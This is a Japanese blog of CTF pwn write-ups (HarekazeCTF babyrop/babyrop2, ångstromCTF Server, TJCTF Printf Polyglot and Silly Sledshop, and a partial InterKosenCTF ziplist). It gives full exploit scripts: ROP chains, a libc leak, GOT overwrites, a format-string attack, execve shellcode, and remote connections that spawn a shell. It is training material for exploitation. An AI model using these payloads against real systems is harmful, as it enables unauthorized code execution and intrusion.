madousho

とあるハッキングの魔導書

HarekazeCTF 2019「babyrop2 (200pts)」之解き方

はじめに

5月18日、 #HarekazeCTF に「NekochanNano!」の一員として参加させていただきました。最後に510ポイントを集めることが出来、私たちは523チームが参加する中、68位で終えました。

「babyrop」のライトアップも投稿してありますので、ぜひ前に読んできてくださいね!

babyrop2

プログラム解析

「babyrop」のときと同じように、接続できるIPアドレスとポート番号、そしてELFバイナリが手に入れます。加えて、今度はlibc.so.6も渡されます。

いつもどおりに、checksecでセキュリティ機構を確認します。

f:id:d3npa:20190520080019p:plain

今回も、RELRO、Stack、そしてPIEが無い。Nice! !(^-^)!

またradare2で開き、main関数の逆アセンブリを読んでいきましょう〜

f:id:d3npa:20190520080038p:plain

画像が小さすぎるのであれば右クリックし、Ctrlまた⌘キーを押しながら「画像を表示」で開いてください。

一般のユーザが実行すれば、「babyrop」の動作と何が違うか見極められないけど、逆アセンブリを読めばその違いがよくわかりますね。また言葉で説明してみます。

  1. bss領域文字列をediで指定、printfでメッセージを出力する
  2. readで、0x100バイトまで入力をスタック変数(rbp-0x20)に読み込む
  3. フォーマット形式とrbp-0x20を引数として用意、printfで前の入力を含めたメッセージを表示する

「babyrop」に比べると、大きいな違いがありますね!「babyrop」と違って、system/bin/shがプログラムに含められていないのです。なので、ROPを行えば、systemにジャンプするために、呼び出す前にそのlibc以内のアドレスを計算することが必要となります。

printfを使えば、GOT領域からある関数のlibcポインターをリークすることが出来るはずです。そうしたら、既に有しているlibc.so.6を使い、system関数とその関数の距離を計算することが出来ます。では、read関数を狙おうと思います。

ROPでprintfを呼び出せば、フォーマット形式をrdiにし、引数をrsiで示します。したがってpop rsipop rdiというガジェットが必要です。

f:id:d3npa:20190520080103p:plain

良き。

pop_rdi = p64(0x400733)
pop_rsi = p64(0x400731)

【注意】pop rsiの直後にpop r15という命令があるので気をつけてください。このガジェットを利用するときに、r15に保存されるための何かも必ず用意するように。

次にprintのPLTアドレスとreadのGOTポインターを取りましょう。

f:id:d3npa:20190520080119p:plain

plt_printf = p64(0x4004f0)
got_read = p64(0x601020)

これで、printfにジャンプすることが出来、利用した上、readのGOTポインターをリーク、libc以内アドレスを掴むための準備が出来ました。

いまから試してみましょう。

#!/usr/bin/python2
# -*- coding: utf-8 -*-
from pwn import *

pop_rdi = p64(0x400733)
pop_rsi = p64(0x400731)
got_read = p64(0x601020)
plt_printf = p64(0x4004f0)
str_format = p64(0x400770)

# ---- printf("%s", read@got) ----
payload = 'a' * 0x20
payload += 'b' * 8      # RBP
payload += pop_rdi + str_format
payload += pop_rsi + got_read + p64(0)
payload += plt_printf
# --------------------------------

sock = process(["./babyrop2"], env={"LD_PRELOAD":"./libc.so.6"})
sock.read()
sock.sendline(payload)
sock.readline()

addr_read = u64(sock.readline()[-8:-2] + "\x00\x00")
print("[*] readの位置をリークしました: %s" % hex(addr_read))

sock.close()

f:id:d3npa:20190520080144p:plain

よし、成功! (≧∇≦)/!!

なう、objdumpを使い、リークしたreadと、system関数のベース位置を把握、距離を計算します。

f:id:d3npa:20190520080202p:plain

よってreadのアドレスから0xb1ec0を引いたらsystemのアドレスになります。

addr_read = u64(sock.readline()[-8:-2] + "\x00\x00")
print("[*] readの位置をリークしました: %s" % hex(addr_read))

addr_system = addr_read - 0xb1ec0
print("[*] systemの位置を計算しました: %s" % hex(addr_system))

最後のステップですが、計算したsystemのアドレスをどうやってプログラムに入力するのでしょうか、どうやって実行するのでしょうか?

いま、実行できるのはprintfreadsetvbufmainだけです。この中から、任意ジャンプのために使えるものが2つ。どれなのかわかりますか?

printfreadです!printfの場合、前みたいにFSBを発生させ、任意アドレスを上書きすることが可能です。そしてreadの場合、書き込み先のアドレスを引数として渡せばそれだけで任意書き込みができます。任意書き込みから任意ジャンプをどうやってするのかというなら、GOT領域のポインターを書き換え、繋がりの関数を呼び出すのが一つの方法です。

というわけで、次の作戦を考えました。readを利用し、read関数そのもののGOTポインターを上書きし、直後に文字列を同時に書き込むことにしようと思います。上書きの後、固定なGOT領域アドレスに保存した文字列をrdiレジスタにし、再びreadを呼び出すことでsystemを実行する、という作戦であります。

readのGOTアドレスが既にわかりますので、最後の要する情報が、readのPLTアドレスだけです。

f:id:d3npa:20190520080226p:plain

ようやく準備がすべて整えました!!\(^o^)/

エクスプロイト作成

#!/usr/bin/python2
# -*- coding: utf-8 -*-
from pwn import *

pop_rdi = p64(0x400733)
pop_rsi = p64(0x400731)
got_read = p64(0x601020)
plt_printf = p64(0x4004f0)
str_format = p64(0x400770)

# ---- printf("%s", read@got) ----
payload = 'a' * 0x20
payload += 'b' * 8      # RBP
payload += pop_rdi + str_format
payload += pop_rsi + got_read + p64(0)
payload += plt_printf
# --------------------------------

call_read = p64(0x400500)
str_binsh = p64(0x601028)       # got_readの直後

# ---- read(0, read@got, 0x100) ----
payload += pop_rdi + p64(0)
payload += pop_rsi + got_read + p64(0)
payload += call_read
# ----------------------------------

# ---- system("/bin/sh") -----------
payload += pop_rdi + str_binsh
payload += pop_rsi + p64(0) + p64(0)
payload += call_read
# ----------------------------------

# sock = process(["./babyrop2"], env={"LD_PRELOAD":"./libc.so.6"})
sock = remote("problem.harekaze.com", 20005)
sock.read()

print "[*] Payload size = %s" % hex(len(payload))
sock.sendline(payload)
sock.readline()

addr_read = u64(sock.readline()[-8:-2] + "\x00\x00")
print("[*] readの位置をリークしました: %s" % hex(addr_read))

addr_system = addr_read - 0xb1ec0
print("[*] systemの位置を計算しました: %s" % hex(addr_system))

sock.sendline(p64(addr_system) + "/bin/sh\x00")

sock.interactive()
sock.close()

実行してシェル奪い!

f:id:d3npa:20190520080246p:plain

今回は長かったのですが、最後まで読んで頂き、ありがとうございました!

HarekazeCTF 2019「babyrop (100pts)」之解き方

はじめに

5月18日、 #HarekazeCTF に「NekochanNano!」の一員として参加させていただきました。最後に510ポイントを集めることが出来、私たちは523チームが参加する中、68位で終えました。

babyrop

プログラム解析

ncatで接続可能なアドレスとポート番号に、ELFバイナリを手に入れます。

まず、checksecを使い、ELFのセキュリティ機構を確認します。

f:id:d3npa:20190520015415p:plain

RELRO、スタックカナーリやPIEが無く、すっごく助かります (^^;
これらのセキュリティ機構について、詳しくはこちらの記事をご参照ください

次にradare2で開き、main関数の逆アセンブリを解析しましょう。

f:id:d3npa:20190520015432p:plain

結構簡単なプログラムですが、動作を言葉で説明すると、下記のような感じでしょうね

  1. echoシェルコマンドの文字列をrdiに用意、systemを呼び出すのでメッセージを出力する
  2. scanfを使い、任意なサイズの入力をスタック変数(rbp-0x10)に読み込む
  3. フォーマット形式と、rbp-0x10(前の入力)をレジスタで指定、printfで入力を含めたメッセージを表示する

この問題の名前が「babyrop」なので、そしてスタックカナーリがないため、ROPが使うべきだとわかりますね。

それでは、ROPを使うのでsystem("/bin/sh");を実行することを目的としましょう。

シェル奪いの作戦

systemを呼び出せば、引数を正しく用意しないといけません。mainの逆アセンブリを参考とし、systemを呼び出した前に、シェルコマンド文字列へのポインターediで指定したことがわかりますね。ちなみにediですが、この場合に一緒なので、rdiを使ってもOK。

したがって、ediあるいはrdiに値を指定するいわゆる「ROP Gadget」が必要となります。良かったことで、radare2にはそういうガジェットを発見するという機能がありますので、pop rdiのガジェットを探してもらいましょう。

f:id:d3npa:20190520015449p:plain

さすがradare2ですね!よって0x00400683には、pop rdi; retという命令が存在することがわかりました。

また、ポインターで指定できる"/bin/sh"の文字列を検索しましょうか。

f:id:d3npa:20190520015501p:plain

よし。0x601048には、"/bin/sh"という文字列が置いてあるようです。これで、「ROP Chain」の準備がやっとできました!

エクスプロイト作成

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
from time import sleep

pop_rdi = p64(0x400683)
addr_binsh = p64(0x601048)
call_system = p64(0x4005e3)


payload = "a" * 0x10    # バッファーを超える
payload += "b" * 8      # RBP
payload += pop_rdi      # ガジェットに移動する
payload += addr_binsh   # rdiにpopされる
payload += call_system  # 関数の呼び出しに移動する

# sock = process(["./babyrop"])
sock = remote("problem.harekaze.com", 20001)
sock.readuntil("? ")
sock.sendline(payload)

sleep(1)
sock.interactive()
sock.close()

シェルを奪い!

f:id:d3npa:20190520015515p:plain

以上 HarekazeCTF-2019の「babyrop」のライトアップでした。

最後まで読んで頂き、ありがとうございました!

ångstromCTF 2019「Server (180pts)」之解き方

はじめに

2019年の4月、NekochanNano!というチームの一員として ångstromCTF に参加させて頂きました。最後に1540ポイントを集めることが出来て、59位で終わりました。 f:id:d3npa:20190428152654p:plain

今回は、特に気に入った問題の「Server」の解き方を解説して行きたいと思います。

問題記載

Server - 180 points

Check out my new website, powered by my own custom web server!

ご丁寧に、ウェブサイトのリンクとELFバイナリが渡されます。こちらはウェブサイトのホームページです。

f:id:d3npa:20190426073316p:plain

解析

早速ですが、とりあえずobjdumpに投げてみましょう。ディスアセンブルしてみたら、すぐに気づくのはlibcの無さ。このプログラムは全て、syscall以外にライブラリーを使わずに出来ているようです。

最初にいろんなsyscallを呼び出して、ソケットを保留して、バインドします。

401086:  48 31 c0                xor    rax,rax
401089: 48 be 10 20 40 00 00    movabs rsi,0x402010
401090: 00 00 00
401093: ba 04 00 00 00          mov    edx,0x4
401098: 0f 05                   syscall

それから第零syscall(0から始まるので)readで標準入力から4バイトを0x402010に読み込んで、

40109a:  48 ff ce                dec    rsi
40109d: 48 ff c6                inc    rsi
4010a0: 48 31 c0                xor    rax,rax
4010a3: 48 31 d2                xor    rdx,rdx
4010a6: 48 ff c2                inc    rdx
4010a9: 0f 05                   syscall
4010ab: 80 3e 20                cmp    BYTE PTR [rsi],0x20
4010ae: 74 02                   je     0x4010b2
4010b0: eb eb                   jmp    0x40109d

0x402010を再利用して(さっきの4バイトを上書き)、また読み込みます。スペース文字(0x20)が来るまで読み込みを続けますが、0x402010に書き込んだバイトを数えないため、いくらも長いバイト流れを渡しても書き込んでしまいます(そこが危ないですね)。

4010b5:  48 be b1 28 40 00 00    movabs rsi,0x4028b1
4010bc: 00 00 00
4010bf: ba 00 08 00 00          mov    edx,0x800
4010c4: 0f 05                   syscall

やっとスペース文字が来たら0x4010b2にジャンプして、今度0x4028b1を読み込み先としてまた「read」を行いますが、今回は読み込みサイズが0x800に過ぎないようにしています。

もう気づいてる方も居るかと思いますが、最初のバッファーがおそらくURLで2つ目がペイロード(HTTPヘッダーとコンテント)であるみたいです。そしてペイロード0x800バイトに過ぎないように制限されてるのに、URLにはそんな制限がなく、0x800バイト以上を読み込めば、直後のメモリが単に上書きされてしまいます。

さて、続きを読みましょう。

401135:  48 8b 3c 25 10 28 40    mov    rdi,QWORD PTR ds:0x402810
40113c: 00
40113d: b8 01 00 00 00          mov    eax,0x1
401142: 48 be 20 28 40 00 00    movabs rsi,0x402820
401149: 00 00 00
40114c: 48 8b 14 25 18 28 40    mov    rdx,QWORD PTR ds:0x402818
401153: 00
401154: 0f 05                   syscall

mov eax, 0x1の部分から、第一syscall writeを用意していることがわかります。この「検索可能 Linux Syscall 目録」によると、メモリからrdiにコピーしている値がfd(ファイル記述子)で、rsibuf(出力元)、そしてrdxで出力サイズに指定します。このスニペットC言語に訳してみるとこのようになるでしょう:

uint fd = 0; // STDOUT
char *buf = "welcome to my web server! as you can see it's incredibly fast and impossible to exploit!";
size_t count = 88;
write(fd, buf, count);

このコードを実行した後に、実際に出力したバイト数がraxレジスタに保存されます。

最後に、第三syscall「exit」を呼び出します、、、

401156:  48 29 d0                sub    rax,rdx
401159: 48 83 c0 03             add    rax,0x3
40115d: 48 31 d2                xor    rdx,rdx
401160: 0f 05                   syscall

が!ちょっと待って。何を計算しているんでしょうか?まずはrax(出力されたバイト数)からrdx(出力サイズ)を引く。その結果は必ず0になるはずですね。してから結果に3を足して(rax=3)、syscallを実行する。なるほど、そうやってヌル化するんだ。確かmov eax, 0x3よりアセンブリ命令が短い(movを使えば0x3なのに0x0000000000000003となり、命令がかなり長くなってしまうらしいです)。

作戦

ごめんなさい、嘘を付きました。

実はsub rax, rdxの結果が0でない場合もあります。もし、rdxがとんでもない大きい値であれば、プロセスのメモリをすべて出しても出力バイト数が合わせられないのです。すなわち引き算の効果が0でなくなります。

試してrdx0xffffffffffffffffにしてみたら、0x1000バイトが出されました(rax = 0x1000)。

数学能力がゼロなのでちゃんと計算できないけど、適当にいろんな値を試して、0xffffffffffffffbfにすればrax0x3b(10進数では59)になることを確かめることが出来ました。ちなみに第59 syscallが任意プログラムを実行してくれるexecveであります。

そう、rdx0xffffffffffffffbfにすると、execveが呼び出されます。また「検索可能 Linux Syscall 目録」にてexecveの引数を確認しましょう。

f:id:d3npa:20190426073335p:plain

さて、エクスプロイトを考えましょう。上の脆弱性を利用して、任意コマンド実行または任意プログラム実行が出来るようになりました。ですが、例えばもしシェルを実行してしまえば、出力が標準出力に送信され、こちらソケット側からは見えません。ですから、サーバーの反応を観測せずに行えるエクスプロイトが必要となります。

チャレンジサーバーにアクセス出来たので、/tmpディレクトリにシェルスクリプトを適当に置いて、serverからそれを実行することに決めました。こちらはスクリプトです。

#!/bin/bash

echo "フラグでしゅにゃん!(=^・・^=)"
cat flag.txt > /tmp/nekochannano/server.flag.txt
echo ""

そしてserverプロセスのユーザーが書き込めるためにファイル属性を設定して起きます。

$ cd /tmp/nekochannano
$ touch server.flag.txt
$ chmod 0666 server.flag.txt

エクスプロイトを書く前に、目指しているメモリの状況を図にしました。

通常に、メモリの状況がこのようになります:

+----------+--+--+--+--+--+--+--+--+--+--+--
| 0x402010 |   00 00 00 00 00 00 00 00   | URLバッファー
| ...      |   ...                       |
+----------+--+--+--+--+--+--+--+--+--+--+--
| 0x402810 |   00 00 00 00 00 00 00 00   | 出力バッファー
+----------+--+--+--+--+--+--+--+--+--+--+--
| 0x402018 |   58 00 00 00 00 00 00 00   | writeサイズ
+----------+--+--+--+--+--+--+--+--+--+--+--
| 0x402020 |   w  e  l  c  o  m  e       | メッセージ
| 0x402028 |   t  o     m  y     w  e    |
| 0x402030 |   b     s  e  r  v  e  r    |
| 0x402038 |   !  a  s     y  o  u       |
| ...      |   ...                       |
+----------+--+--+--+--+--+--+--+--+--+--+--

エクスプロイトして、このようにさせることを目指します。

+----------+--+--+--+--+--+--+--+--+--+--+--
| 0x402010 |   61 61 61 61 61 61 61 61   | 'a' (804字)
| ...      |   ...                       |
+----------+--+--+--+--+--+--+--+--+--+--+--
| 0x402810 |   28 28 40 00 00 00 00 00   | 実行ファイル名のポインタ
+----------+--+--+--+--+--+--+--+--+--+--+--
| 0x402018 |   bf ff ff ff ff ff ff ff   | rdxに保存されて、raxから引かれる値
+----------+--+--+--+--+--+--+--+--+--+--+--
| 0x402020 |   00 00 00 00 00 00 00 00   | rsiに保存されるargv(ヌル)
+----------+--+--+--+--+--+--+--+--+--+--+--
| 0x402028 |   /  t  m  p  /  n  e  k    | 実行するファイル
| 0x402030 |   o  c  h  a  n  n  a  n    | /tmp/nekochannano/nyan.sh
| 0x402038 |   o  /  n  y  a  n  .  s    |
| 0x402040 |   h  00                     |
| ...      |   ...                       |
+----------+--+--+--+--+--+--+--+--+--+--+--

よし!これで準備が出来ました!さあ早速エクスプロイトを書きましょう!

エクスプロイト!!

#!/usr/bin/env python2
# -*- coding: utf-8 -*-

def payload():
    # HTTP リクエストを生成する
    output = ""
    output += "a" * 0x804                        # 0x40200c~0x402810までaを書き込む
    output += "\x28\x28\x40\x00\x00\x00\x00\x00" # 0x402810 $rdi 出力バッファー
    output += "\xbf\xff\xff\xff\xff\xff\xff\xff" # 0x402818 $rdx 出力サイズ
    output += "\x00\x00\x00\x00\x00\x00\x00\x00" # 0x402820 $rsi argv
    output += "/tmp/nekochannano/nyan.sh\x00"    # 0x402828 実行されるファイル
    output += " "
    return output

print payload()

そして実行!

f:id:d3npa:20190426073347p:plain

以上、ångstromCTF 2019 之「Server」の解き方でした。 最後まで読んで頂きありがとうございました!

TJCTF「Printf Polyglot (120pts)」之解き方

はじめに

2019年4月の4日〜8日、NekoChanNano!というCTFチームでTJCTFに参加しました。解けた問題の中、Pwn系の問題「Printf Polyglot」があり、今回この問題の解き方を解説していきたいと思います。

概要

こちらは問題記載:

Printf Polyglot - 120 points

Written by nthistle

Security Consultants Inc. just developed a new portal! We managed to get a hold of the source code, and it doesn't look like their developers know what they're doing.

nc p1.tjctf.org 8003

ご丁寧にELFバイナリとソースコードが与えられます。ではとりあえずバイナリを実行してみましょう。

$ ./printf_polyglot
Welcome to the brand new Security Consultants Inc. portal!
What would you like to do?
1.) View the Team!
2.) Check the date.
3.) Sign up for our newsletter!
4.) Report a bug.
x.) Exit.

またメニュー系なインターフェースですね。自分は普段、プログラムの動作を把握するには、直接にいじるよりコードを読むのが楽なので、そのソースコードを読んでから行こうと思います!

解析

コードが長かったため全部を貼りはしないけど、main関数を見れば各メニューオプションそれぞれの関数があることがわかります。

int main() {
   gid_t gid = getegid();
   setresgid(gid, gid, gid);
   setbuf(stdout, NULL);

   printf("Welcome to the brand new Security Consultants Inc. portal!\n");
   char action = 0;
   char line[128];
   while (action != 'x') {
      printf("What would you like to do?\n");
      printf("1.) View the Team!\n");
      printf("2.) Check the date.\n");
      printf("3.) Sign up for our newsletter!\n");
      printf("4.) Report a bug.\n");
      printf("x.) Exit.\n");
      fgets(line, sizeof line, stdin);
      action = line[0];
      if (action == '1') {
         view_team();
      } else if (action == '2') {
         check_date();
      } else if (action == '3') {
         newsletter();
      } else if (action == '4') {
         report_bug();
      } else if (action != 'x') {
         printf("Sorry, I didn't recognize that.\n");
      }code redirectio
      printf("\n");
   }
}

他の関数を見たら、気になったのがcheck_dateとnewsletterだけでした。

bool date_enabled = false;
[...]
// apparently calling system() isn't safe? I disabled it so we
// should be fine now.
void check_date() {
   printf("Here's the current date:\n");
   if (date_enabled) {
      system("/bin/date");
   } else {
      printf("Sorry, date has been temporarily disabled by admin!\n");
   }
}

こうやって変数を使って、systemを呼び出さないようにしたようですが、system関数がコードに入ってるだけでPLTに含まれますので、もしある脆弱性によってRIPレジスタを奪えられれば、systemの位置が既にわかります(PIEが有効な場合を除く)。攻撃者にとってはそれがすごく助かります。

void newsletter() {
   printf("Thanks for signing up for our newsletter!\n");
   printf("Please enter your email address below:\n");

   char email[256];
   fgets(email, sizeof email, stdin);
   printf("I have your email as:\n");
   printf(email);
   printf("Is this correct? [Y/n] ");
   char confirm[128];
   fgets(confirm, sizeof confirm, stdin);
   if (confirm[0] == 'Y' || confirm[0] == 'y' || confirm[0] == '\n') {
      printf("Great! I have your information down as:\n");
      printf("Name: Evan Shi\n");
      printf("Email: ");
      printf(email);
   } else {
      printf("Oops! Please enter it again for us.\n");
   }

   int segfault = *(int*)0;
   // TODO: finish this method, for now just segfault,
   // we don't want anybody to abuse this
}

あれれ?気のせい??

printf(email);

こう、ユーザーの入力したデータをそのままformat stringを使わずにprintfに渡すと、いわゆるFormat String Bug(FSB)という脆弱性が生まれます。FSBを使えば、例えば任意読み込みや任意書き込みができます。

作戦

FSBを使って、ある関数のGOTポインターを上書きし、systemのPLTアドレスに変えましょう。 fgetsの後に呼び出されるので、そして入力したemail変数がそのままわたされますので、printfが最適な候補だと思います。

printf(email);がこう、二回呼び出されますが、もし一回目はFSBを行えば、二回目はもうprintfではなく、system(email)になりますのでご注意ください。そのため、email変数が同時にformat stringでもあり、シェルコマンドでもある必要があります。

エクスプロイト

#!/usr/bin/python2
# -*- coding: utf-8 -*-
import struct

# 作戦:FSBを使ってprintfのGOT要素(0x602048)に、systemのPLTアドレス(0x4006e0)を書き込む。
# 次にprintfが呼び出される際、system関数が代わりに実行されてしまう。

def payload():
    padding = "a" * 100
    command = "/bin/sh #" # 直後のスタックデータが含まれちゃうから「#」でコメント化
    # 説明:メニュー選択がスタック変数のactionに保存される。
    # そこにアドレスを入れたら、FSBを起こせるときに利用できます。
    selection = "3       "
    selection += struct.pack("<Q", 0x00602048) # スタック第63引数。
    selection += struct.pack("<Q", 0x0060204a) # スタック第64引数。
    # 説明:出力済文字数が0x40になるまでスペースを%cで出力して、
    # 第64引数(0x60204a)に0x40を書き込む。そのあと、また%cでバイトを出力、
    # 第63引数(0x602048)に0x06e0を書き込む。そうしたらprintfのGOT要素が0x4006e0になり、
    # ジャンプすればsystemのPLTアドレスに移動しちゃいます。
    format_string = command + "%55c%64$n%1696c%63$hn" + padding
    format_string = format_string[:100]
    return selection + "\n" + format_string + "\ny\n"

print(payload())

さあ、作戦開始! f:id:d3npa:20190412051022p:plain

以上Printf Polyglotの解答方法でした。

TJCTF 2019「Silly Sledshop (80pts)」之解き方

はじめに

2019年4月の4日〜8日、TJCTFにNekoChanNano!というCTFチームで参加しました。自分はまだ初心者であり、レベルがかなり高かったと思います。良い勉強になりましたので、今回はPwn系の問題「Silly Sledshop」の解き方を解説していきたいと思います。

概要

こちらはチャレンジ記載:

Silly Sledshop - 80 Points
Written by evanyeyeye

Omkar really wants to experience Arctic dogsledding. Unfortunately, the sledshop (source) he has come across is being very uncooperative. How pitiful.
Lesson: nothing stops Omkar.
He will go sledding whenever and wherever he wants.

nc p1.tjctf.org 8010

その上、32ビットのELFバイナリとそのソースコードを手に入れます。

解析

まずはELFファイルを実行してみましょう。

$ ./sledshop
The following products are available:
|  Saucer  | $1 |
| Kicksled | $2 |
| Airboard | $3 |
| Toboggan | $4 |
Which product would you like?

メニューが表示され、入力を待っているようです。そして指示すると、

[...]
Which product would you like?
1
Sorry, we don't currently have the product 1 in stock. Try again later!
$ #品切れだったら先に言ってよ!ヾ(。>﹏<。)ノ゙

さあ次に、ソースコードを確認しよう〜

#include <stdio.h>
#include <stdlib.h>

void shop_setup() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    setbuf(stdout, NULL);
}

void shop_list() {
    printf("The following products are available:\n");
    printf("|  Saucer  | $1 |\n");
    printf("| Kicksled | $2 |\n");
    printf("| Airboard | $3 |\n");
    printf("| Toboggan | $4 |\n");
}

void shop_order() {
    int canary = 0;
    char product_name[64];

    printf("Which product would you like?\n");
    gets(product_name);

    if (canary)
        printf("Sorry, we are closed.\n");
    else      
        printf("Sorry, we don't currently have the product %s in stock. Try again later!\n", product_name);
}

int main(int argc, char **argv) {
    shop_setup();
    shop_list();
    shop_order();
    return 0;
}

興味あるのはshop_order関数ですね。中には、getsでstdinを読み込み、入力データのサイズを確認せずに64バイトのバッファーproduct_nameに書き込みます。単純なバッファーオーバーフローが使えるように見えますが、実行ファイルのセキュリティ機構を確認すれば:

$ checksec ./sledshop
[*] '<省略>/sledshop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
$

何だ、いけるじゃん。ただし、チャレンジサーバーではASLRが有効なので、スタックにシェルコードを置いても、アドレスがランダム化されるため、そこにリターン出来ません。そこで、長く長く長く流れるNOPスレッドを使えば行けるかもしれないけど、リモートサーバーですし時間かかりそうだから面倒くさい。シェルコードを一回で実行する方法を考えたほうがいいので、さあ楽しいシンキングタイムだぜ!

作戦

スタックトークンがないから普通のスタックオーバーフローで任意アドレスへ移動することが出来ます。ASLRが有効になるため、スタック内アドレスに簡単に戻れませんが、テキスト領域かGOT領域ならアドレスが固定なので使えます。

あと、Full RELROがないので、GOT領域が書込可能。問題はどうやって書き込むのかですね。ただのスタックオーバーフローだけだとスタック以外のメモリを書き込むことが出来ません。ディスアセンブリを読みながら任意アドレスを書き込む方法がわかりました。

80485dc: 8d 45 b4                lea    eax,[ebp-0x4c]
80485df:    50                      push   eax
80485e0:    e8 eb fd ff ff          call   80483d0 <gets@plt>

これでございます。EBPから0x4cバイトを引いて読み込み先にし、gets関数を呼び出すとするアセンブリ命令。素敵じゃないですか!EBPレジスターを設定できれば、指定したアドレスの位置から0x4cを引いて、結果のアドレスに書き込みます。これを使えば、例えばprintf関数のGOTポインターに0x4cを足し、スタックのリターンポインターの前に置いて、このアセンブリ命令の冒頭に移動してprintfのGOTポインターを書き込んでしまう。とっても素敵!

エクスプロイト

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import struct, os
# 作戦:printf関数のGOTポインターを書き換えることで、実行可能であるGOT領域に置いたシェルコードを実行する。
# GOTポインターを書き換えるには、ebxを設定し、バッファーオーバーフローでshop_order関数の真ん中に戻り、
# getsによりprintfのポインターを4バイト後の0x804a014に変えて、直後にシェルコードを同時期に置いておく。
# getsからshop_orderに戻ったらprintfが自然に呼び出されて、シェルコードを実行してしまう。

def payload():
    junk = "a"*76
    alphabet = "".join([x*4 for x in "ABCDEFGHIJKLMNOPQRSTUVWXYZ"])
    shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
    gadget_gets = struct.pack('<I', 0x080485dc)    # gets() -> [ebp-0x4c]
    got_printf = struct.pack('<I', 0x804a010+0x4c) # printf()のGOTポインター。0x4cはアセンブリ命令に引かれます
    after_printf = struct.pack('<I', 0x804a014)    # printf()の直後ではあるが、偶然でgets()のGOTポインターでもある
    return junk + got_printf + gadget_gets + "\n" + after_printf + shellcode

print(payload())

そして実行: f:id:d3npa:20190410030349p:plain

以上Silly Sledshopの解答方法でした。

InterKōsenCTF「ziplist (350pts)」之解き方

はじめに

2019年の一月に、CTFチームの「NekoChanNano!」のメンバーとして#InterKosenCTF に参加させていただきました。今回は、経験少ないの私にとってかなり難しかった「ziplist」という問題(Pwn系、350点) の解き方を紹介していきたいと思います。

概要

チャレンジ・ページからソースコードをダウンロードすることが出来ます。手に入れる.tar.gzアーカイブファイルを解凍すれば、下記の二つのディレクトリが作られます。

./server、以下にflaskアプリケーションのソースコードx86_64 ELFバイナリがあります。 ./src、以下にx86_64 ELFバイナリのソースコードC言語)が置いてあります。

flaskサーバーを起動し、localhost:9300/ をアクセスしてみましょう。

f:id:d3npa:20190323085125p:plain

zipファイルをアップロード出来るようですね。バックエンドのソースコードを確認しましょう。

@app.route('/', methods=['GET', 'POST'])
def home():
    result = ''
    if 'upload' in request.files:
        zipfile = request.files['upload']
        filename = zipfile.filename
        if filename != '':
            upload_filename = "/tmp/uploads/" + ''.join(
                [random.choice(string.ascii_letters) for i in range(16)]
            ) + ".zip"
            zipfile.save(upload_filename)
            result = commands.getoutput("timeout -sKILL 1s ./ziplist " + upload_filename)
            try:
                os.remove(upload_filename)
            except OSError:
                pass
    result = base64.b64encode(result)
    return render_template('index.html', result=result)

ご覧通り、与えられるファイル にランダムの名前が付けられて保存され、次に実行されるELFプログラムに引数として渡されます。 さて、ELFのソースコードの解析を始めましょう!

ELFの解析

src/main.cのmain関数に脆弱性があります。ローカル変数のchar comment[64]がzip.cのzip_check_header()関数に渡され、zipのコメントのサイズに限らず書き込まれます。

char comment[64];
  
//...

// Check the zip structure
if (zip_check_header(fp, &footer, comment)) {
    puts("Invalid zip format.");
    return 1;
}

ですが、stack smashing protectionというセキュリティ機構が有効になっているため、スタック・フレームをそんな簡単に上書き出来ません。

f:id:d3npa:20190323085200p:plain

セキュリティ機構について、詳しくはこちらのページをご確認ください。

CTFの時、この機構を迂回する方法があるのがまだ知らなく、自分で気付けるまで数時間かかりましたが、実は__stack_chk_fail関数のGOTポインターを上書きできるのです。そうすれば、main関数の終わりに書き込んだアドレスにジャンプするし、main関数内のRSP以降のスタック領域を好きに使えるようになります。

src/zip.cのzip_get_entries関数にもう一つの脆弱性があります。zipのfooterを読み込む前にmallocによってヒープ領域を確保します:

// Initialize
*entry = (CentralDirectoryFileHeader**)malloc(sizeof(CentralDirectoryFileHeader*) * footer->total_entries);
for(i = 0; i < footer->total_entries; i++) {
    (*entry)[i] = (CentralDirectoryFileHeader*)malloc(sizeof(CentralDirectoryFileHeader) - sizeof(char*));
    (*entry)[i]->filename = (char*)malloc(64);
}

モリーを確保した後だけに、ZIPの中身のファイルの情報を取得して書き込むのです。

// Read all entries
for(i = 0; i < footer->total_entries; i++) {
    fread((*entry)[i], sizeof(CentralDirectoryFileHeader) - sizeof(char*), 1, fp);
    // Check signature
    if ((*entry)[i]->signature != MAGIC_CENTRAL_DIRECTORY_FILE_HEADER) {
        return 1;
    }
    // Read filename
    fread((*entry)[i]->filename, 1, (*entry)[i]->length_filename, fp);
    fseek(fp, (*entry)[i]->length_extra + (*entry)[i]->length_comment, SEEK_CUR);
}

そして上記に使用される CentralDirectoryFileHeader はこちらです:

typedef struct __attribute__((packed)) {
  uint32_t signature;
  uint16_t version;
  uint16_t version_needed;
  uint16_t flags;
  uint16_t compression_method;
  uint16_t modification_time;
  uint16_t modification_date;
  uint32_t crc32;
  uint32_t compressed_size;
  uint32_t uncompressed_size;
  uint16_t length_filename;
  uint16_t length_extra;
  uint16_t length_comment;
  uint16_t disk_start;
  uint16_t internal_attr;
  uint32_t external_attr;
  uint32_t header_offset;
  char *filename;
} CentralDirectoryFileHeader;

zipの中身にあるファイル数が2つ以上である場合、ヒープ領域がこういう形になるでしょう:

----------------------------------                 
[ Heap Frame ]                                   ---+
[ CentralDirectoryFileHeader (48 bytes) ]           |
// Including char *filename (8 bytes) at the end    |
[ Heap Frame ]                                      +-- 1ファイル目
----------------------------------                  |
[ Heap Frame ]                                      |
[ File Name (64 bytes) ]                            |
[ Heap Frame ]                                   ---+
----------------------------------                  
[ Heap Frame ]                                   ---+
[ CentralDirectoryFileHeader (48 bytes) ]           |
// Including char *filename (8 bytes) at the end    |
[ Heap Frame ]                                      +-- 2ファイル目
----------------------------------                  |
[ Heap Frame ]                                      |
[ File Name (64 bytes) ]                            |
[ Heap Frame ]                                   ---+
----------------------------------

...

